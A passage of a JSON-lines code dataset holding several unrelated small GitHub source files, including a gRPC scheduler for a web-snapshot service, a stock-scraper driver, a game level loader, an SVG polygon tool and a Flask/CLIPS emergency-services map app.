dict(context.invocation_metadata())\n\n def inner(self, request, context):\n metadata = _get_metadata(context)\n if \"token\" not in metadata:\n context.abort(StatusCode.UNAUTHORIZED, \"Auth token needed\")\n token = metadata[\"token\"]\n try:\n context.openid = self.auth.get_openid(token)\n except AuthException:\n context.abort(StatusCode.UNAUTHORIZED, \"Bad token\")\n return f(self, request, context)\n\n return inner\n\n\ndef log_request(f):\n def inner(self, request, context):\n logging.info(f'{f.__name__}\\n{request}')\n return f(self, request, context)\n\n return inner\n\n\nclass MyScheduler(SchedulerServicer):\n def __init__(self, auth, task_event, db_fn):\n self.auth = auth\n self.task_event = task_event\n self.db_fn = db_fn\n self.workers = set()\n\n def worker_stub(self):\n if not self.workers:\n raise Exception('No worker available')\n endpoint = random.choice(list(self.workers))\n return WorkerStub(grpc.insecure_channel(endpoint))\n\n @log_request\n def TryLogin(self, request, context):\n token = request.token\n\n try:\n if self.auth.request_login(token):\n return co.Empty()\n else:\n context.abort(StatusCode.DEADLINE_EXCEEDED, \"Confirmation timeout\")\n except AuthException:\n context.abort(StatusCode.INVALID_ARGUMENT, \"Token is in use\")\n\n @log_request\n def ConfirmLogin(self, request, context):\n token = request.token\n openid = request.openid\n username = request.name\n\n try:\n self.auth.confirm_login(token, openid)\n except AuthException:\n context.abort(StatusCode.INVALID_ARGUMENT, \"Non-existing token\")\n\n with self.db_fn() as db:\n cnt = db.execute(\n \"SELECT COUNT(*) FROM users WHERE users.openid = ?\", (openid,)\n ).fetchone()[0]\n if cnt == 0:\n logging.info(f\"Creating new user: username={username}, openid={openid}\")\n db.execute(\"INSERT INTO users VALUES (?,?)\", (openid, username))\n return co.Empty()\n\n @requires_token\n @log_request\n def GetUserData(self, request, context):\n openid = context.openid\n\n with self.db_fn() as db:\n username = db.execute(\n \"SELECT name FROM users WHERE openid = ?\", (openid,)\n ).fetchone()[\"name\"]\n\n articles = []\n for row in db.execute(\n \"SELECT id, title, created_at FROM articles WHERE articles.user = ?\",\n (openid,),\n ):\n cnt = db.execute(\n \"SELECT COUNT(*) FROM snapshots WHERE snapshots.article = ?\",\n (row[\"id\"],),\n ).fetchone()[0]\n articles.append(\n co.Article(\n id=row[\"id\"],\n title=row[\"title\"],\n created_at=row[\"created_at\"],\n snapshot_count=cnt,\n )\n )\n\n notifications = []\n for r in db.execute(\n \"SELECT id, created_at, has_read, content, type FROM notifications WHERE user = ? ORDER BY created_at DESC\",\n (openid,),\n ):\n notifications.append(\n co.Notification(\n id=r[\"id\"],\n created_at=r[\"created_at\"],\n has_read=r[\"has_read\"],\n content=r[\"content\"],\n type=r[\"type\"],\n )\n )\n r = co.UserData(\n username=username, articles=articles, notifications=notifications\n )\n return r\n\n @requires_token\n @log_request\n def CreateArticle(self, request, context):\n openid = context.openid\n title = request.title\n\n _id = uuid()\n timestamp = unix_time()\n with self.db_fn() as db:\n db.execute(\n \"INSERT INTO articles VALUES (?,?,?,?)\", (_id, openid, timestamp, title)\n )\n return co.Article(id=_id, title=title, created_at=timestamp)\n\n @requires_token\n @log_request\n def DeleteArticle(self, request, context):\n openid = context.openid\n article_id = request.article_id\n\n with self.db_fn() as db:\n db.execute(\n \"DELETE FROM articles WHERE articles.id = ? AND articles.user = ?\",\n (article_id, openid),\n )\n return co.Empty()\n\n @requires_token\n @log_request\n def ChangeArticleTitle(self, request, context):\n openid = context.openid\n article_id = request.article_id\n title = request.title\n\n with self.db_fn() as db:\n db.execute(\n \"UPDATE articles SET title = ? WHERE articles.id = ? AND articles.user = ?\",\n (title, article_id, openid),\n )\n return co.Empty()\n\n @requires_token\n @log_request\n def RemoveSnapshotFromArticle(self, request, context):\n article_id = request.article_id\n snapshot_id = request.snapshot_id\n\n with self.db_fn() as db:\n db.execute(\n \"DELETE FROM snapshots WHERE snapshots.uuid = ? AND snapshots.article = ?\",\n (snapshot_id, article_id),\n )\n return co.Empty()\n\n @requires_token\n @log_request\n def GetArticleSnapshots(self, request, context):\n openid = context.openid\n article_id = request.article_id\n\n snapshots = []\n with self.db_fn() as db:\n for r in db.execute(\n \"SELECT uuid, url, timestamp FROM snapshots, articles WHERE snapshots.article = ?1 AND articles.id = ?1 AND articles.user = ?2\",\n (article_id, openid),\n ):\n snapshots.append(\n co.Snapshot(\n id=r[\"uuid\"],\n url=r[\"url\"],\n timestamp=r[\"timestamp\"],\n )\n )\n return sc.GetArticleSnapshotsResponse(snapshots=snapshots)\n\n def _add_notification(self, openid, msg, is_error):\n with self.db_fn() as db:\n params = {\n 'id': uuid(),\n 'user': openid,\n 'type': 1 if is_error else 0,\n 'created_at': unix_time(),\n 'has_read': 0,\n 'content': msg,\n }\n db.execute('INSERT INTO notifications VALUES ($id, $user, $type, $created_at, $has_read, $content)', params)\n\n @requires_token\n @log_request\n def Capture(self, request, context):\n openid = context.openid\n urls = list(set(request.urls))\n article_id = request.article_id\n\n worker = self.worker_stub()\n tasks = {} # url -> task_id\n with self.db_fn() as db:\n for url in urls:\n task_id = uuid()\n tasks[url] = task_id\n db.execute(\n \"INSERT INTO tasks VALUES (?,?,?,?)\",\n (task_id, openid, url, article_id),\n )\n\n def _async_action():\n successful_urls = set()\n for res in worker.Crawl(wo.CrawlRequest(urls=urls)):\n url = res.url\n task_id = tasks[url]\n content = res.content\n logging.info(f'Capture succeeded for {url} of type {content.type}')\n timestamp = unix_time()\n _id = uuid()\n ledger_key = ledger.add(content.hash)\n with self.db_fn() as db:\n # If the snapshot already exists(because this snapshot has multiple pieces of data attached), ignore.\n db.execute(\n \"INSERT OR IGNORE INTO snapshots VALUES (?,?,?,?,?,?)\",\n (_id, article_id, url, timestamp, False, None),\n )\n db.execute(\n \"INSERT INTO data VALUES (?,?,?,?,?)\",\n (_id, content.type, content.data.decode(), content.hash, ledger_key),\n )\n db.execute('DELETE FROM tasks WHERE id = ?', (task_id,))\n successful_urls.add(url)\n self.task_event.notify()\n # Worker hang up\n for url, task_id in tasks.items():\n if url not in successful_urls:\n logging.info(f'Capture failed for {url}')\n self._add_notification(openid, f\"拍摄快照失败:{url}\", is_error=True)\n with self.db_fn() as db:\n db.execute('DELETE FROM tasks WHERE id = ?', (task_id,))\n self.task_event.notify()\n\n threading.Thread(target=_async_action).start()\n self.task_event.notify()\n return co.Empty()\n\n def _get_current_tasks(self, openid):\n tasks = []\n with self.db_fn() as db:\n for r in db.execute(\n \"SELECT id, url, article_id FROM tasks WHERE user = ?\",\n (openid,),\n ):\n task = co.Task(\n id=r[\"id\"],\n url=r[\"url\"],\n article_id=r[\"article_id\"],\n )\n tasks.append(task)\n return sc.CurrentTasks(tasks=tasks)\n\n @requires_token\n @log_request\n def GetActiveTasks(self, request, context):\n openid = context.openid\n yield self._get_current_tasks(openid)\n sem = self.task_event.register()\n # Stream task list continuously, but disconnect if nothing changes for 5 minutes\n while sem.acquire(timeout=300):\n yield self._get_current_tasks(openid)\n self.task_event.unregister(sem)\n\n @requires_token\n @log_request\n def ClearTasks(self, req, ctx):\n with self.db_fn() as db:\n db.execute('DELETE FROM tasks WHERE user = ?', (ctx.openid,))\n return co.Empty()\n\n @requires_token\n @log_request\n def MarkAllAsRead(self, req, ctx):\n with self.db_fn() as db:\n db.execute('UPDATE notifications SET has_read = 1 WHERE user = ?', (ctx.openid,))\n return co.Empty()\n\n @log_request\n def GetSnapshot(self, request, context):\n snapshot_id = request.id\n\n # Check if snapshot is reported\n with self.db_fn() as db:\n r = db.execute('SELECT reported, report_reason FROM snapshots WHERE uuid = ?', (snapshot_id,)).fetchone()\n if r['reported'] > 0:\n context.abort(StatusCode.PERMISSION_DENIED, f\"Snapshot is reported: {r['report_reason']}\")\n\n with self.db_fn() as db:\n r = db.execute(\n \"SELECT type, access_url, ledger_key, hash FROM data WHERE snapshot = ?\", (snapshot_id,)\n )\n if r is None:\n context.abort(StatusCode.NOT_FOUND, \"Snapshot not found\")\n\n contents = []\n for datum in r:\n contents.append(co.Content(type=datum['type'], data=datum['access_url'].encode(), ledger_key=datum['ledger_key'], hash=datum['hash']))\n return sc.Contents(contents=contents)\n\n @log_request\n def ListSnapshots(self, request, context):\n url = request.url\n\n snapshots = []\n with self.db_fn() as db:\n for r in db.execute(\n \"SELECT uuid, url, timestamp FROM snapshots WHERE snapshots.url = ?\",\n (url,),\n ):\n snapshots.append(\n co.Snapshot(\n id=r[\"uuid\"],\n url=r[\"url\"],\n timestamp=r[\"timestamp\"],\n )\n )\n return sc.Snapshots(snapshots=snapshots)\n\n @log_request\n def Report(self, req, ctx):\n with self.db_fn() as db:\n db.execute('UPDATE snapshots SET reported = 1, report_reason = ? WHERE uuid = ?', (req.reason, req.snapshot_id))\n return co.Empty()\n\n @log_request\n def RegisterWorker(self, request, context):\n addr = request.addr\n port = request.port\n self.workers.add(f\"{addr}:{port}\")\n return co.Empty()\n\n\ndef serve(port=8000):\n server = grpc.server(ThreadPoolExecutor(max_workers=10))\n my_scheduler = MyScheduler(\n db_fn=lambda: open_db(Path(\"db/production\"), Path(\"db/schema\")),\n auth=Auth(),\n task_event=Event(),\n )\n add_SchedulerServicer_to_server(my_scheduler, server)\n server.add_insecure_port(f\"0.0.0.0:{port}\")\n server.start()\n logging.info(f\"Scheduler listening at 0.0.0.0:{port}\")\n server.wait_for_termination()\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO)\n port = os.getenv(\"SCHEDULER_PORT\", 8848)\n serve(port)\n","repo_name":"YizhePKU/Time-Capsule","sub_path":"scheduler/servicer.py","file_name":"servicer.py","file_ext":"py","file_size_in_byte":13658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5216195956","text":"from django.shortcuts import render\n\n# Create your views here.\nAPP_NAME = 'meditation'\nAPP_FULL_NAME = 'Breathing Meditation'\nICON_FILENAME = 'crucifix.svg'\n\ndef home(request):\n\n context = {\n 'app_full_name': APP_FULL_NAME,\n 'icon_filename': ICON_FILENAME\n }\n\n return render(request, 'meditation/home.html', context)\n","repo_name":"delperdang/lexcredendi","sub_path":"meditation/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13923898189","text":"from custom_modules import messages as m\nfrom custom_modules import stock_data as s\nfrom custom_modules import finviz as f\nfrom custom_modules import more_stock_data as z\nfrom custom_modules import investors_hub as ih\nclass Scraper:\n def symbol_getter(self):\n self.symbol = input(\"Enter stock symbol: \")\n\n def scrape_yahoo(self):\n yahoo = s.YahooFinance(self.symbol)\n yahoo.build_url()\n yahoo.parser()\n yahoo.pull_table_data()\n\n\n def scrape_stock_twits(self):\n user = m.StockTwits(self.symbol)\n user.open_parser()\n user.find_element()\n user.display()\n\n def scrape_finviz(self):\n fin = f.FinViz(self.symbol)\n fin.build_url()\n fin.parser()\n fin.pull_table_data()\n\n def more_yahoo_finance(self):\n more = z.MoreYahooFinance(self.symbol)\n more.build_url()\n more.parser()\n more.pull_table_data()\n\n def investors_hub(self):\n stocks = ih.InvestorsHub()\n stocks.pull()\n stocks.filter_results()\n self.potential_stocks = stocks.results()\n print(self.potential_stocks)\n\n\n\nscraper = Scraper()\nscraper.investors_hub()\nprint(\" \", '\\n')\nscraper.symbol_getter()\nprint(\" \")\nscraper.scrape_yahoo()\nprint(\" \")\nscraper.more_yahoo_finance()\nprint(\" \")\nscraper.scrape_stock_twits()\nprint(\" \")\nscraper.scrape_finviz()\n","repo_name":"VLadio11/stock-scraper","sub_path":"general/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8229394148","text":"\r\n\"\"\" loading in of the level map\r\n\r\nsetup_world() : called in level_data\r\n putting all the levels into one list\r\n\r\nsetup_level() : called in level_data\r\n reads a level out of a file and puts them in a list\r\n\"\"\"\r\n\r\nlevel_map = []\r\n\r\ndef setup_world(l1,l2,l3,l4,l5,l6,l7,l8,l9,l0,l10):\r\n global level_map\r\n i = 0\r\n on = True\r\n one = False\r\n two = False\r\n while on:\r\n if one == False and two == False:\r\n level_top = l1[i] + l2[i] + l3[i]\r\n level_map.append(level_top)\r\n i += 1\r\n if i == 32:\r\n i = 0\r\n one = True\r\n elif one == True and two == False:\r\n level_mid = l4[i] + l5[i] + l6[i]\r\n level_map.append(level_mid)\r\n i += 1\r\n if i == 32:\r\n i = 0\r\n two = True\r\n elif one == True and two == True:\r\n level_bot = l7[i] + l8[i] + l9[i]\r\n level_map.append(level_bot)\r\n i += 1\r\n if i == 32:\r\n i = 0\r\n one =False\r\n elif one == False and two == True:\r\n level_bot2 = l0[i] + l0[i] + l10[i]\r\n level_map.append(level_bot2)\r\n i += 1\r\n if i == 32:\r\n on = False\r\n\r\ndef setup_level(level_name):\r\n level_file = open(\"../editor/\" + level_name + \".map\",\"r\")\r\n level = level_file.readlines()\r\n level_file.close()\r\n for i in range(0,32):\r\n level[i] = level[i].replace(\"\\n\", \"\")\r\n return level\r\n\r\nlevel_1 = setup_level(\"l1\")\r\nlevel_2 = setup_level(\"l2\")\r\nlevel_3 = setup_level(\"l3\")\r\nlevel_4 = setup_level(\"l6\")\r\nlevel_5 = setup_level(\"l5\")\r\nlevel_6 = setup_level(\"l4\")\r\nlevel_7 = setup_level(\"l7\")\r\nlevel_8 = setup_level(\"l8\")\r\nlevel_9 = setup_level(\"l9\")\r\nlevel_0 = setup_level(\"l0\")\r\nlevel_10= setup_level(\"l10\")\r\n\r\nsetup_world(\r\n level_1,level_2,level_3,\r\n level_4,level_5,level_6,\r\n level_7,level_8,level_9,\r\n level_0,level_10)","repo_name":"Uncrit/Eras-Adventure","sub_path":"code/level_data.py","file_name":"level_data.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26379886790","text":"import checkpointLogic as cpl\n\ncpl.cp0 = checkpt(0, 4, 17)\ncpl.cp1 = checkpt(1, 5, 6)\ncpl.cp2 = checkpt(2, 23, 24)\ncpl.cp3 = checkpt(3, 16, 20)\n\ncpl.cp0.assignPins()\ncpl.cp1.assignPins()\ncpl.cp2.assignPins()\ncpl.cp3.assignPins()\n\n\ni=0\nwhile(True):\n if cpl.checkpointReached(i % 4):\n print(i%4)\n i +=1","repo_name":"eidexe96/ITSRacetrack","sub_path":"DuplicatesAndTests/cpTest.py","file_name":"cpTest.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6760995773","text":"from sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.metrics import explained_variance_score, r2_score, mean_squared_error\nfrom sklearn.metrics import classification_report, confusion_matrix\nimport numpy as np\n\n\ndef gbt_algorythm(X_train, y_train, X_test, y_test):\n\n model = GradientBoostingClassifier(n_estimators=20, random_state=42, learning_rate=0.1, max_depth=4)\n model.fit(X_train, y_train)\n\n y_pred = model.predict(X_test)\n\n variance_score = explained_variance_score(y_test, y_pred)\n print(\"Explained variance score Gradient boosted tree: %.2f%%\" % (variance_score * 100.0))\n\n r2 = r2_score(y_test, y_pred)\n print(\"R^2 score Gradient boosted tree: %.2f\" % r2)\n\n mean = mean_squared_error(y_test, y_pred)\n rmse = np.sqrt(mean)\n print(\"Root mean square error Gradient boosted tree: %.2f\" % rmse)\n\n print(\"Classification Report\")\n print(classification_report(y_test, y_pred))\n\n","repo_name":"jvukasin/SIAP","sub_path":"gradient_boosted_tree_alg.py","file_name":"gradient_boosted_tree_alg.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"12543554371","text":"#!/usr/bin/env python3\n\nimport json\nimport argparse\nfrom typing import List, Dict, Tuple\nfrom lib import SvgStyle, SvgWriter, Polygon2D\n\n\nSVG_STYLE_VEC_BEFORE: Dict[str, str] = {\n \"fill-opacity\": \"1.0\",\n \"fill\": \"#7f007f\", # Purple\n \"stroke\": \"none\",\n}\nSVG_STYLE_POLY_BEFORE: Dict[str, str] = {\n \"fill-opacity\": \"0.0\",\n \"stroke\": \"#7f007f\", # Purple\n \"stroke-width\": \"0.25\",\n}\nSVG_STYLE_VEC_AFTER: Dict[str, str] = {\n \"fill-opacity\": \"1.0\",\n \"fill\": \"#007f7f\", # Teal\n \"stroke\": \"none\",\n}\nSVG_STYLE_POLY_AFTER: Dict[str, str] = {\n \"fill-opacity\": \"0.0\",\n \"stroke\": \"#007f7f\", # Teal\n \"stroke-width\": \"0.25\",\n}\n\n\ndef add_center_polygon_parser(subparsers: argparse._SubParsersAction) -> None:\n parser = subparsers.add_parser(\n \"center-polygon\",\n help=\"Given a polygon as a set up vertices, center it around the origin (0,0)\",\n )\n parser.add_argument(\"input_path\")\n parser.add_argument(\"output_path\")\n parser.add_argument(\"--debug-svg\", type=str, default=\"\")\n parser.set_defaults(func=center_polygon)\n\n\ndef center_polygon(args: argparse.Namespace) -> int:\n json_data: List[Tuple[float, float]] = []\n with open(args.input_path, \"r\") as f:\n json_data = json.loads(f.read())\n\n original_poly = Polygon2D.from_json(json_data)\n centered_poly = original_poly.centered()\n\n svg_writer = SvgWriter()\n svg_writer.append_element(original_poly, SvgStyle(SVG_STYLE_POLY_BEFORE))\n for v in original_poly.vertices:\n svg_writer.append_element(v, SvgStyle(SVG_STYLE_VEC_BEFORE))\n svg_writer.append_element(centered_poly, SvgStyle(SVG_STYLE_POLY_AFTER))\n for v in centered_poly.vertices:\n svg_writer.append_element(v, SvgStyle(SVG_STYLE_VEC_AFTER))\n if args.debug_svg != \"\":\n print('Writing debug svg to \"{}\"'.format(args.debug_svg))\n svg_writer.write_to_file(args.debug_svg)\n else:\n svg_writer.write_to_stdout()\n\n with open(args.output_path, \"w\") as f:\n f.write(json.dumps(centered_poly.to_json(), indent=4))\n\n return 0\n","repo_name":"cozykeys/resources","sub_path":"concepts/triad/scripts/commands/center_polygon.py","file_name":"center_polygon.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8206139092","text":"def minNumOfRooms(lectureTimes):\r\n if not lectureTimes:\r\n return 0\r\n\r\n # create a diction for start and end times\r\n startTimes = dict()\r\n endTimes = dict()\r\n\r\n # double for loop that adds start times to startTimes dictionary\r\n # and end times to endTimes dictionary\r\n for start, end in lectureTimes:\r\n if start not in startTimes:\r\n startTimes[start] = 0\r\n startTimes[start] += 1\r\n\r\n if end not in endTimes:\r\n endTimes[end] = 0\r\n endTimes[end] += 1\r\n\r\n # make global start and end times\r\n globalStart, globalEnd = min(startTimes), max(endTimes)\r\n\r\n maxClassCount = 0\r\n currClassCount = 0\r\n\r\n for i in range(globalStart, globalEnd):\r\n # if i in start times\r\n # then add current class count to start time\r\n if i in startTimes:\r\n currClassCount += startTimes[i]\r\n # and if current class count is greater tha max class count\r\n # then max is set equal to current\r\n if currClassCount > maxClassCount:\r\n maxClassCount = currClassCount\r\n\r\n # if i in end times\r\n # then add end times to current class count time\r\n if i in endTimes:\r\n currClassCount -= endTimes[i]\r\n\r\n return maxClassCount\r\n\r\n\r\n\r\n\r\nlectureTimes = [[30, 75], [0, 50], [60, 150]]\r\n\r\nprint(\"Number of rooms you'll need is\", minNumOfRooms(lectureTimes))\r\n","repo_name":"cgrant093/DCP","sub_path":"Days 21-30/20190609/DCP20190609.py","file_name":"DCP20190609.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29902231813","text":"import unittest\nfrom patterns.behavioral.chain_resposibility import Container, Leaf\n\n\nclass ChainOfResponsibility(unittest.TestCase):\n def test_should_handler_be_called_when_handle_is_called(self):\n was_called = False\n\n def testHandler():\n nonlocal was_called\n was_called = True\n child = Leaf(testHandler)\n child.handle()\n self.assertTrue(was_called)\n\n def test_should_call_parent_handler_when_no_handle_is_set_but_called(self):\n was_called = False\n\n def testHandler():\n nonlocal was_called\n was_called = True\n child = Leaf(None)\n parent = Container(testHandler)\n parent.add(child)\n child.handle()\n self.assertTrue(was_called)\n\n def test_should_call_the_higher_parent_handler_method_when_none_is_set(\n self):\n was_called = False\n\n def testHandler():\n nonlocal was_called\n was_called = True\n child = Leaf(None)\n lower_parent = Container(None)\n higher_parent = Container(testHandler)\n higher_parent.add(lower_parent)\n lower_parent.add(child)\n child.handle()\n self.assertTrue(was_called)\n","repo_name":"cruzortiz99/design-patterns","sub_path":"design-pattern-python/test/patterns/behavioral/chain_resposibility_test/__init__test.py","file_name":"__init__test.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19091331699","text":"# -*- coding: utf-8 -*-\n\n\nimport os\nimport math\nfrom PyQt5 import QtWidgets, QtCore, uic\nfrom pypipboy.types import eValueType\nfrom .. import widgets\nfrom pypipboy import inventoryutils\n\n\npowerArmorPaperDollSlots = [\n 'Body', # 0\n 'leftleg', # 1\n 'rightleg', # 2\n 'leftarm', # 3\n 'rightarm', # 4\n 'torso', # 5\n 'head', # 6\n 'head',#7\n 'head'#8\n ]\nclass PowerArmorInfoWidget(widgets.WidgetBase):\n _signalInfoUpdated = QtCore.pyqtSignal()\n \n def __init__(self, handle, controller, parent):\n super().__init__('Power Armor Info', parent)\n self.controller = controller\n self.widget = uic.loadUi(os.path.join(handle.basepath, 'ui', 'powerarmorinfowidget.ui'))\n self.setWidget(self.widget)\n self.pipPlayerInfo = None\n self._signalInfoUpdated.connect(self._slotInfoUpdated)\n self.paHP = {}\n for item in powerArmorPaperDollSlots:\n self.paHP[item + 'Max'] = 0\n\n\n\n def init(self, app, datamanager):\n super().init(app, datamanager)\n self.dataManager = datamanager\n self.dataManager.registerRootObjectListener(self._onPipRootObjectEvent)\n \n def _onPipRootObjectEvent(self, rootObject):\n self.pipInventoryInfo = rootObject.child('Inventory')\n if self.pipInventoryInfo:\n self.pipInventoryInfo.registerValueUpdatedListener(self._onPipInventoryInfoUpdate, 1)\n self._signalInfoUpdated.emit()\n\n\n def _onPipInventoryInfoUpdate(self, caller, value, pathObjs):\n self._signalInfoUpdated.emit()\n \n @QtCore.pyqtSlot()\n def _slotInfoUpdated(self):\n self.getPowerArmorItems()\n\n\n\n def getPowerArmorItems(self):\n equipedPA = []\n for item in powerArmorPaperDollSlots:\n self.paHP[item + 'Cur'] = 0\n\n if (self.pipInventoryInfo):\n def _filterFunc(item):\n return inventoryutils.itemHasAnyFilterCategory(item, inventoryutils.eItemFilterCategory.Apparel)\n\n power_armor = inventoryutils.inventoryGetItems(self.pipInventoryInfo, _filterFunc)\n for item in power_armor:\n\n if (item.child('isPowerArmorItem').value() and (item.child('equipState').value() == 1)):\n itemHealthTxt = inventoryutils.itemFindItemCardInfoValue(item, '$health')\n itemHealth = itemHealthTxt.split('/')\n itemTxt = item.child('text').value()\n\n i = 0\n paperDollLoc = None\n for section in item.child('PaperdollSection').value():\n if section.value():\n self.paHP[powerArmorPaperDollSlots[i] + 'Cur'] = int(itemHealth[0])\n self.paHP[powerArmorPaperDollSlots[i] + 'Max'] = int(itemHealth[1])\n maxHP = self.paHP[powerArmorPaperDollSlots[i] + 'Max']\n curHP = self.paHP[powerArmorPaperDollSlots[i] + 'Cur']\n percentHP = (curHP*100/maxHP)\n if itemTxt:\n self.widget.headItemLabel.setText(itemTxt)\n self.setWidgetValues(powerArmorPaperDollSlots[i],percentHP, itemHealthTxt,itemTxt)\n equipedPA.append(powerArmorPaperDollSlots[i])\n i+=1\n for item in powerArmorPaperDollSlots:\n if (not item in equipedPA and (not item == 'Body')):\n self.setWidgetValues(item,0, 'Empty',' ')\n\n def setWidgetValues(self, subwidget,value,text,itemName):\n methodToCall = getattr(self.widget,subwidget + 'Bar')\n methodToCall.setValue(value)\n methodToCall = getattr(self.widget,subwidget + 'Label')\n methodToCall.setText(text)\n methodToCall = getattr(self.widget,subwidget + 'ItemLabel')\n methodToCall.setText(itemName)\n\n\n","repo_name":"gwhittey23/powerarmorinfowidget","sub_path":"powerarmorinfowidget.py","file_name":"powerarmorinfowidget.py","file_ext":"py","file_size_in_byte":3948,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"74686490348","text":"def len(arr,n):\n\tm=1\n\tl=1\n\tfor i in range(1,n):\n\t\tif arr[i] > arr[i-1]:\n\t\t\tl=l+1\n\t\telse:\n\t\t\tif m 0):\n n_cases -= 1\n burles = input().split(\" \")\n assert len(burles) == 2, \"Invalid input\"\n burles = [int(x) for x in burles]\n print(solve(burles[0], burles[1]))\n","repo_name":"discounter24/codeforces","sub_path":"1660A.py","file_name":"1660A.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33565490018","text":"from flask import Flask, render_template, request\nfrom flask_restful import Api\nfrom flask_googlemaps import GoogleMaps, Map\nfrom clips import Symbol, Environment\nfrom api.model.response import Success, Error\nfrom api.settings import GOOGLE_MAPS_TOKEN\nimport json\n\nenv = Environment()\n\nenv.load(\"expert_system.clp\")\nenv.reset()\n\nSERVICE_TEMPLATE = env.find_template('Service')\nEMERGENCY_TEMPLATE = env.find_template('Emergency')\n\nservice_count = 0\nemergency_count = 0\n\napp = Flask(\"CLIPS Map\", template_folder=\"templates\", static_folder=\"static\")\napi = Api(app)\nGoogleMaps(app, key=str(GOOGLE_MAPS_TOKEN))\n\nmy_map = Map(identifier=\"view-side\", lat=-15.42843, lng=28.12504)\n\n\n@app.route(\"/\")\ndef display_map():\n global service_count\n global emergency_count\n service_count = 0\n emergency_count = 0\n\n facts = []\n for i, fact in enumerate(env.facts()):\n if fact.template.name == 'Service' or fact.template.name == 'Emergency':\n facts.append(fact)\n for fact in facts:\n fact.retract()\n env.run()\n\n return render_template('index.html', mymap=my_map)\n\n\n@app.route(\"/addService\", methods=['POST'])\ndef add_service():\n global service_count\n service = SERVICE_TEMPLATE.new_fact()\n service[\"id\"] = service_count\n service[\"name\"] = Symbol(request.form.get(\"servicename\"))\n service[\"location\"] = [float(request.form.get(\"locx\")), float(request.form.get(\"locy\"))]\n service[\"n_members\"] = int(request.form.get(\"members\"))\n service[\"movement_speed\"] = float(request.form.get(\"speed\"))\n service[\"prep_time\"] = float(request.form.get(\"preptime\"))\n service.assertit()\n\n if service.asserted:\n service_count += 1\n env.run()\n data = {\"id\": service['id'], \"name\": service['name']}\n logs = get_current_responses()\n response = Success(callback=data, logs=logs, message=\"Emergency added successfully\")\n json_data = json.dumps(response.__dict__, default=lambda o: o.__dict__, indent=4)\n return json_data\n\n response = Error(None, None, \"Service could not be added. Try again later.\")\n json_data = json.dumps(response.__dict__, default=lambda o: o.__dict__, indent=4)\n return json_data\n\n\n@app.route(\"/addEmergency\", methods=['POST'])\ndef add_emergency():\n global emergency_count\n emergency = EMERGENCY_TEMPLATE.new_fact()\n emergency[\"id\"] = emergency_count\n emergency[\"type\"] = Symbol(request.form.get(\"emergencytype\"))\n emergency[\"location\"] = [float(request.form.get(\"locx\")), float(request.form.get(\"locy\"))]\n emergency[\"n_affected_people\"] = int(request.form.get(\"affected\"))\n emergency.assertit()\n\n if emergency.asserted:\n emergency_count += 1\n env.run()\n data = {\"id\": emergency['id'], \"type\": emergency['type']}\n logs = get_current_responses()\n response = Success(callback=data, logs=logs, message=\"Emergency added successfully\")\n json_data = json.dumps(response.__dict__, default=lambda o: o.__dict__, indent=4)\n return json_data\n\n response = Error(None, None, \"Emergency could not be added. Try again later.\")\n json_data = json.dumps(response.__dict__, default=lambda o: o.__dict__, indent=4)\n return json_data\n\n\n@app.route(\"/moveService\", methods=['POST'])\ndef move_service():\n fact_id = request.form.get(\"id\")\n loc_x = request.form.get(\"locx\")\n loc_y = request.form.get(\"locy\")\n\n for fact in env.facts():\n if fact.template.name == 'Service' and fact['id'] == int(fact_id):\n service = SERVICE_TEMPLATE.new_fact()\n service[\"id\"] = int(fact_id)\n service[\"name\"] = fact['name']\n service[\"location\"] = [float(loc_x), float(loc_y)]\n service[\"n_members\"] = int(fact['n_members'])\n service[\"movement_speed\"] = float(fact['movement_speed'])\n service[\"prep_time\"] = float(fact['prep_time'])\n\n service.assertit()\n\n fact.retract()\n\n if service.asserted:\n env.run()\n response = Success(None, None, \"Service re-allocated successfully!\")\n json_data = json.dumps(response.__dict__, default=lambda o: o.__dict__, indent=4)\n return json_data\n\n response = Error(None, None, \"Service could not be re-allocated. Try again later.\")\n json_data = json.dumps(response.__dict__, default=lambda o: o.__dict__, indent=4)\n return json_data\n\n\n@app.route(\"/moveEmergency\", methods=['POST'])\ndef move_emergency():\n fact_id = request.form.get(\"id\")\n loc_x = request.form.get(\"locx\")\n loc_y = request.form.get(\"locy\")\n\n for fact in env.facts():\n if fact.template.name == 'Emergency' and fact['id'] == int(fact_id):\n emergency = EMERGENCY_TEMPLATE.new_fact()\n emergency[\"id\"] = int(fact_id)\n emergency[\"type\"] = fact['type']\n emergency[\"location\"] = [float(loc_x), float(loc_y)]\n emergency[\"n_affected_people\"] = int(fact['n_affected_people'])\n\n emergency.assertit()\n\n fact.retract()\n\n if emergency.asserted:\n env.run()\n response = Success(None, None, \"Emergency re-allocated successfully!\")\n json_data = json.dumps(response.__dict__, default=lambda o: o.__dict__, indent=4)\n return json_data\n\n response = Error(None, None, \"Emergency could not be re-allocated. Try again later.\")\n json_data = json.dumps(response.__dict__, default=lambda o: o.__dict__, indent=4)\n return json_data\n\n\ndef get_current_responses():\n 